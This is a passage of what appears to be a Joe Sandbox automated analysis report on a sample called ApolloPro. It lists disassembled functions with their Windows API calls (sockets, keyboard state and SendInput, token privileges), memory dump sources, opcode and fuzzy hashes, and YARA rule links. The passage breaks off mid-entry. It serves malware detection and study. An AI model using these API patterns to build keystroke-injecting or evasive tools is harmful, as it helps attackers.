                                                                    • Instruction ID: 557f5424559859b71aa4d15ac2f08a0b44b446df89d38d6bf04a85a3fc9b0a63
                                                                    • Opcode Fuzzy Hash: 59127406ee4e3695fad862174f72a077c41700bfff23b0386a642e3502264ce9
                                                                    • Instruction Fuzzy Hash: E1512C35A00209AFCB10DF58C8849AE7BB6FB84320F148569F959D72A0DBB0ED91CF91
                                                                    Function 007D492A Relevance: 6.1, APIs: 4, Instructions: 136COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: __flsbuf__flush__getptd_noexit__write_memmove
                                                                    • String ID:
                                                                    • API String ID: 2782032738-0
                                                                    • Opcode ID: dd4382ed4e5ad70bfa2530ff4ead5fce313e8920abae62896f0e4f3ecbc340c1
                                                                    • Instruction ID: 966ee1632e6e025a4a6379f8d622d35daf914421d3a4abab4a7dd42fe7ab2745
                                                                    • Opcode Fuzzy Hash: dd4382ed4e5ad70bfa2530ff4ead5fce313e8920abae62896f0e4f3ecbc340c1
                                                                    • Instruction Fuzzy Hash: B5419571600706ABDF288FAAC89496F77B5AF85360B24C17FE85987740EB78AD418B44
                                                                    Function 0080A638 Relevance: 6.1, APIs: 4, Instructions: 129windowCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • SendMessageW.USER32(?,0000110A,00000004,00000000), ref: 0080A68A
                                                                    • __itow.LIBCMT ref: 0080A6BB
                                                                      • Part of subcall function 0080A90B: SendMessageW.USER32(?,0000113E,00000000,00000000), ref: 0080A976
                                                                    • SendMessageW.USER32(?,0000110A,00000001,?), ref: 0080A724
                                                                    • __itow.LIBCMT ref: 0080A77B
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: MessageSend$__itow
                                                                    • String ID:
                                                                    • API String ID: 3379773720-0
                                                                    • Opcode ID: 3e6f5b351617eb712552c60743b970831ec470e1682718fbd51ece1baaf301b5
                                                                    • Instruction ID: 2c01f756e9d5e86ac0e09c90a9004844d8500aab7d6140ff22095302c92b5fdb
                                                                    • Opcode Fuzzy Hash: 3e6f5b351617eb712552c60743b970831ec470e1682718fbd51ece1baaf301b5
                                                                    • Instruction Fuzzy Hash: B7417C75A00308ABDF25EF54CC4AFEE7BB9EF49750F44402DB915A3282DB749944CAA2
                                                                    Function 00827095 Relevance: 6.1, APIs: 4, Instructions: 127networkCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • socket.WSOCK32(00000002,00000002,00000011), ref: 008270BC
                                                                    • WSAGetLastError.WSOCK32(00000000), ref: 008270CC
                                                                      • Part of subcall function 007B4D37: __itow.LIBCMT ref: 007B4D62
                                                                      • Part of subcall function 007B4D37: __swprintf.LIBCMT ref: 007B4DAC
                                                                    • #21.WSOCK32(?,0000FFFF,00000020,00000002,00000004), ref: 00827130
                                                                    • WSAGetLastError.WSOCK32(00000000), ref: 0082713C
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: ErrorLast$__itow__swprintfsocket
                                                                    • String ID:
                                                                    • API String ID: 2214342067-0
                                                                    • Opcode ID: 724b05ead83e0900c62cf3756570f8cfa1801ece617bc3f2a5dbcd431b465bed
                                                                    • Instruction ID: a2e56f90f642c673775f96db244289a768c0679ef8a2f6c870762208d4e6fcdb
                                                                    • Opcode Fuzzy Hash: 724b05ead83e0900c62cf3756570f8cfa1801ece617bc3f2a5dbcd431b465bed
                                                                    • Instruction Fuzzy Hash: E641A075740210AFE724AF24DC8BFAA77E4EF04B14F148458FA599B3C3DA759C008B91
                                                                    Function 00826B05 Relevance: 6.1, APIs: 4, Instructions: 116COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • #16.WSOCK32(?,?,00000000,00000000,00000000,00000000,?,?,00000000,00840980), ref: 00826B92
                                                                    • _strlen.LIBCMT ref: 00826BC4
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: _strlen
                                                                    • String ID:
                                                                    • API String ID: 4218353326-0
                                                                    • Opcode ID: 6b45a4dcbdeace5bdb04d5a99ff857a8362a7729d670724e901a632fdb814c96
                                                                    • Instruction ID: e980ff6195921f4171d0d29a1af2b28b58d6b7008dceed951d7c097753087e88
                                                                    • Opcode Fuzzy Hash: 6b45a4dcbdeace5bdb04d5a99ff857a8362a7729d670724e901a632fdb814c96
                                                                    • Instruction Fuzzy Hash: 1041E271600118EBCB14FB64EC99FAEB3A9FF54310F148159F91AD7292EB34AD51CB90
                                                                    Function 00838E76 Relevance: 6.1, APIs: 4, Instructions: 109COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • InvalidateRect.USER32(?,00000000,00000001,?,?,?), ref: 00838F03
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: InvalidateRect
                                                                    • String ID:
                                                                    • API String ID: 634782764-0
                                                                    • Opcode ID: d147a9d8625264dd52c65af4abc0f2784e275274eba9f2e5c64c5cc9bc7fc536
                                                                    • Instruction ID: 51ec6c5ecf15acf7eae9a1ff49b542375789c2bcab3434115057c09c8b15c43a
                                                                    • Opcode Fuzzy Hash: d147a9d8625264dd52c65af4abc0f2784e275274eba9f2e5c64c5cc9bc7fc536
                                                                    • Instruction Fuzzy Hash: 4C31DE34600308EFEF209A58CC49FAD37A6FB86320F244511FA55E62A1DF74E990CAD1
                                                                    Function 0083B1A9 Relevance: 6.1, APIs: 4, Instructions: 106windowCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • ClientToScreen.USER32(?,?), ref: 0083B1D2
                                                                    • GetWindowRect.USER32(?,?), ref: 0083B248
                                                                    • PtInRect.USER32(?,?,0083C6BC), ref: 0083B258
                                                                    • MessageBeep.USER32(00000000), ref: 0083B2C9
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: Rect$BeepClientMessageScreenWindow
                                                                    • String ID:
                                                                    • API String ID: 1352109105-0
                                                                    • Opcode ID: ec20fc296ac21e4b32ed1b79b13be38ae60a6cfd6f000d2de7e61c8f1f4f7a38
                                                                    • Instruction ID: f9dd104b8305670d278ec419c03a356fb91154e0444413928106ee623d427f7e
                                                                    • Opcode Fuzzy Hash: ec20fc296ac21e4b32ed1b79b13be38ae60a6cfd6f000d2de7e61c8f1f4f7a38
                                                                    • Instruction Fuzzy Hash: E6415FB0A041199FDB11CF58C884A9E77F5FF89315F1842A9EA18DB255D730E941CF91
                                                                    Function 008112D5 Relevance: 6.1, APIs: 4, Instructions: 105keyboardwindowCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • GetKeyboardState.USER32(?,00000000,?,00000001), ref: 00811326
                                                                    • SetKeyboardState.USER32(00000080,?,00000001), ref: 00811342
                                                                    • PostMessageW.USER32(00000000,00000102,00000001,00000001), ref: 008113A8
                                                                    • SendInput.USER32(00000001,00000000,0000001C,00000000,?,00000001), ref: 008113FA
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: KeyboardState$InputMessagePostSend
                                                                    • String ID:
                                                                    • API String ID: 432972143-0
                                                                    • Opcode ID: 5522c3dafd9de1ac3a2c39166252d715ba72580ba98ac868daaedeb9639cb817
                                                                    • Instruction ID: d39e14938dfa5123ef376fe11edfbf040b4ea701fc32604b229dc11ad570194d
                                                                    • Opcode Fuzzy Hash: 5522c3dafd9de1ac3a2c39166252d715ba72580ba98ac868daaedeb9639cb817
                                                                    • Instruction Fuzzy Hash: 1A312870A4421CAEFF2086258C0DBFEBBADFF45310F04421AE6A0D27D9D37889C19B55
                                                                    Function 00811410 Relevance: 6.1, APIs: 4, Instructions: 101keyboardwindowCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • GetKeyboardState.USER32(?,75A4C0D0,?,00008000), ref: 00811465
                                                                    • SetKeyboardState.USER32(00000080,?,00008000), ref: 00811481
                                                                    • PostMessageW.USER32(00000000,00000101,00000000), ref: 008114E0
                                                                    • SendInput.USER32(00000001,?,0000001C,75A4C0D0,?,00008000), ref: 00811532
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: KeyboardState$InputMessagePostSend
                                                                    • String ID:
                                                                    • API String ID: 432972143-0
                                                                    • Opcode ID: 6c6291e2bb68ff7d3baaf0b33a41befbc3283da3b39bc22ee9eddf19d060f2ce
                                                                    • Instruction ID: 59d07f339803fafdb987614549b3adbc630ef5c96e0f586ab232aab18b8fe3d6
                                                                    • Opcode Fuzzy Hash: 6c6291e2bb68ff7d3baaf0b33a41befbc3283da3b39bc22ee9eddf19d060f2ce
                                                                    • Instruction Fuzzy Hash: 31312830A402185AFF348A658C0CBFABB6FFF95714F08435AE681D21D1C37889D19BA6
                                                                    Function 007E63F5 Relevance: 6.1, APIs: 4, Instructions: 97COMMONLIBRARYCODE
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • _LocaleUpdate::_LocaleUpdate.LIBCMT ref: 007E642B
                                                                    • __isleadbyte_l.LIBCMT ref: 007E6459
                                                                    • MultiByteToWideChar.KERNEL32(00000080,00000009,00000002,00000001,00000000,00000000,?,00000000,00000000,?,?), ref: 007E6487
                                                                    • MultiByteToWideChar.KERNEL32(00000080,00000009,00000002,00000001,00000000,00000000,?,00000000,00000000,?,?), ref: 007E64BD
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
                                                                    • String ID:
                                                                    • API String ID: 3058430110-0
                                                                    • Opcode ID: e4ce21fd684bb444c29ffc3272eae67557131977d8d8bba2260624cfff93ae3a
                                                                    • Instruction ID: 9bab694b96bd66eed6c505bb2858a7c377334934b9105e4c05fdae1b3f0f8ea6
                                                                    • Opcode Fuzzy Hash: e4ce21fd684bb444c29ffc3272eae67557131977d8d8bba2260624cfff93ae3a
                                                                    • Instruction Fuzzy Hash: C931F2316012D6EFDB218F66CC44BAA7FA5FF5A3A0F154029E824871D1EB39EA50DB50
                                                                    Function 0083552B Relevance: 6.1, APIs: 4, Instructions: 95COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • GetForegroundWindow.USER32 ref: 0083553F
                                                                      • Part of subcall function 00813B34: GetWindowThreadProcessId.USER32(00000000,00000000), ref: 00813B4E
                                                                      • Part of subcall function 00813B34: GetCurrentThreadId.KERNEL32 ref: 00813B55
                                                                      • Part of subcall function 00813B34: AttachThreadInput.USER32(00000000,?,008155C0), ref: 00813B5C
                                                                    • GetCaretPos.USER32(?), ref: 00835550
                                                                    • ClientToScreen.USER32(00000000,?), ref: 0083558B
                                                                    • GetForegroundWindow.USER32 ref: 00835591
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: ThreadWindow$Foreground$AttachCaretClientCurrentInputProcessScreen
                                                                    • String ID:
                                                                    • API String ID: 2759813231-0
                                                                    • Opcode ID: 9377e44f711192ef289e7abca770e3d711b4c3af364b5e3130d2e26dffe8c811
                                                                    • Instruction ID: 4dd2fc7346ef5b40c28ea53810f30059e76ef681dabbd2c58d4b2b15d1cdae89
                                                                    • Opcode Fuzzy Hash: 9377e44f711192ef289e7abca770e3d711b4c3af364b5e3130d2e26dffe8c811
                                                                    • Instruction Fuzzy Hash: AD312F71A00108AFDB10EFA5D885AEFB7FDEF94304F10446AE515E7242EA75AE40CBA1
                                                                    Function 0083CB40 Relevance: 6.1, APIs: 4, Instructions: 83windowCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                      • Part of subcall function 007B29E2: GetWindowLongW.USER32(?,000000EB), ref: 007B29F3
                                                                    • GetCursorPos.USER32(?), ref: 0083CB7A
                                                                    • TrackPopupMenuEx.USER32(?,00000000,?,?,?,00000000,?,007EBCEC,?,?,?,?,?), ref: 0083CB8F
                                                                    • GetCursorPos.USER32(?), ref: 0083CBDC
                                                                    • DefDlgProcW.USER32(?,0000007B,?,?,?,?,?,?,?,?,?,?,007EBCEC,?,?,?), ref: 0083CC16
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: Cursor$LongMenuPopupProcTrackWindow
                                                                    • String ID:
                                                                    • API String ID: 2864067406-0
                                                                    • Opcode ID: 9ded447667286d3502c469088d9794939834bd3a8ea1492945a2b56ff0da825d
                                                                    • Instruction ID: 49be8095717b311b228956319358b9a69f10e070f6824032256a5b98450c2269
                                                                    • Opcode Fuzzy Hash: 9ded447667286d3502c469088d9794939834bd3a8ea1492945a2b56ff0da825d
                                                                    • Instruction Fuzzy Hash: E331BF35600018AFCB158F54C849EFABBB5FB89320F0440A9F949E7261C331AD51EFA0
                                                                    Function 007D0BC0 Relevance: 6.1, APIs: 4, Instructions: 79COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • __setmode.LIBCMT ref: 007D0BE2
                                                                      • Part of subcall function 007C402A: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,00000000,00000000,00000000,00000000,00000000,?,00817E51,?,?,00000000), ref: 007C4041
                                                                      • Part of subcall function 007C402A: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,?,00000000,00000000,?,?,00817E51,?,?,00000000,?,?), ref: 007C4065
                                                                    • _fprintf.LIBCMT ref: 007D0C19
                                                                    • OutputDebugStringW.KERNEL32(?), ref: 0080694C
                                                                      • Part of subcall function 007D4CCA: _flsall.LIBCMT ref: 007D4CE3
                                                                    • __setmode.LIBCMT ref: 007D0C4E
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: ByteCharMultiWide__setmode$DebugOutputString_flsall_fprintf
                                                                    • String ID:
                                                                    • API String ID: 521402451-0
                                                                    • Opcode ID: 5f45c0ff51051fb8794d381d109a8bb5854020d75e4a5e708ad758ce4763faaf
                                                                    • Instruction ID: 09af2edcf3450f33fda2b45e2923d791ff3c6955602efb44b565262975c8a7fb
                                                                    • Opcode Fuzzy Hash: 5f45c0ff51051fb8794d381d109a8bb5854020d75e4a5e708ad758ce4763faaf
                                                                    • Instruction Fuzzy Hash: 0511C371A04204ABD618B7A4EC4BAFE7B79EF41320F14015AF208A63C2DE79599287A1
                                                                    Function 00809274 Relevance: 6.1, APIs: 4, Instructions: 79memoryCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                      • Part of subcall function 00808D28: GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),?,00000000,?), ref: 00808D3F
                                                                      • Part of subcall function 00808D28: GetLastError.KERNEL32(?,TokenIntegrityLevel,?,00000000,?), ref: 00808D49
                                                                      • Part of subcall function 00808D28: GetProcessHeap.KERNEL32(00000008,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00808D58
                                                                      • Part of subcall function 00808D28: HeapAlloc.KERNEL32(00000000,?,TokenIntegrityLevel,?,00000000,?), ref: 00808D5F
                                                                      • Part of subcall function 00808D28: GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),00000000,?,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00808D75
                                                                    • LookupPrivilegeValueW.ADVAPI32(00000000,?,?), ref: 008092C1
                                                                    • _memcmp.LIBCMT ref: 008092E4
                                                                    • GetProcessHeap.KERNEL32(00000000,00000000), ref: 0080931A
                                                                    • HeapFree.KERNEL32(00000000), ref: 00809321
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: Heap$InformationProcessToken$AllocErrorFreeLastLookupPrivilegeValue_memcmp
                                                                    • String ID:
                                                                    • API String ID: 1592001646-0
                                                                    • Opcode ID: 2186ab71c966df1f04c1c5d496b21217849585df3eb205fc3c246d88270846e5
                                                                    • Instruction ID: 29d9213f0913ed52eb93a64dbf1fd7815471d998a8cfaf06979eefb03b962e74
                                                                    • Opcode Fuzzy Hash: 2186ab71c966df1f04c1c5d496b21217849585df3eb205fc3c246d88270846e5
                                                                    • Instruction Fuzzy Hash: B2215532E40108EFDB10DFA4CD49BAEB7B8FF44301F054059E894AB292E770AA04CFA0
                                                                    Function 0083634E Relevance: 6.1, APIs: 4, Instructions: 69COMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                    • GetWindowLongW.USER32(?,000000EC), ref: 008363BD
                                                                    • SetWindowLongW.USER32(?,000000EC,00000000), ref: 008363D7
                                                                    • SetWindowLongW.USER32(?,000000EC,00000000), ref: 008363E5
                                                                    • SetLayeredWindowAttributes.USER32(?,00000000,?,00000002), ref: 008363F3
                                                                    Memory Dump Source
                                                                    • Source File: 00000018.00000002.1355604950.00000000007B1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 007B0000, based on PE: true
                                                                    • Associated: 00000018.00000002.1355579228.00000000007B0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356035986.0000000000866000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356228906.0000000000870000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                                    • Associated: 00000018.00000002.1356363773.0000000000879000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_24_2_7b0000_ApolloPro.jbxd
                                                                    Similarity
                                                                    • API ID: Window$Long$AttributesLayered
                                                                    • String ID:
                                                                    • API String ID: 2169480361-0
                                                                    • Opcode ID: 2478ce4d50486c578574d25b15ac28fe9160ff4596c0e72e2ccf628ffb2fae45
                                                                    • Instruction ID: 815032f4cd9a328e54cb7da5795a5d6abdddbee8d9c3f2faf7d6cb07104c2f02
                                                                    • Opcode Fuzzy Hash: 2478ce4d50486c578574d25b15ac28fe9160ff4596c0e72e2ccf628ffb2fae45
                                                                    • Instruction Fuzzy Hash: 7B11CA35305514AFDB04AB28CC49FBA77A9FB86320F148118FA16CB2D2DBB5AC00CB94
                                                                    Function 0080E45A Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 68stringCOMMON
                                                                    Download Yara Rule
                                                                    APIs
                                                                      • Part of subcall function 0080F858: lstrlenW.KERNEL32(?,00000002,?,?,000000EF,?,0080E46F,?,?,?,0080F262,00000000,000000EF,00000119,?,?), ref: 0080F867
                                                                      • Part of subcall function 0080F858: lstrcpyW.KERNEL32(00000000,?,?,0080E46F,?,?,?,0080F262,00000000,000000EF,00000119,?,?,00000000), ref: 0080F88D
                                                                      • Part of subcall function 0080F858: lstrcmpiW.KERNEL32(00000000,?,0080E46F,?,?,?,0080F262,00000000,000000EF,00000119,?,?), ref: 0080F8BE
                                                                    • lstrlenW.KERNEL32(?,00000002,?,?,?,?,0080F262,00000000,000000EF,00000119,?,?,00000000), ref: 0080E488
                                                                    • lstrcpyW.KERNEL32(00000000,?,?,0080F262,00000000,000000EF,00000119,?,?,00000000), ref: 0080E4AE
                                                                    • lstrcmpiW.KERNEL32(00000002,cdecl,?,0080F262,00000000,000000EF,00000119,?,?,00000000), ref: 0080E4E2
                                                                    Strings
                                                                    Memory Dump Source
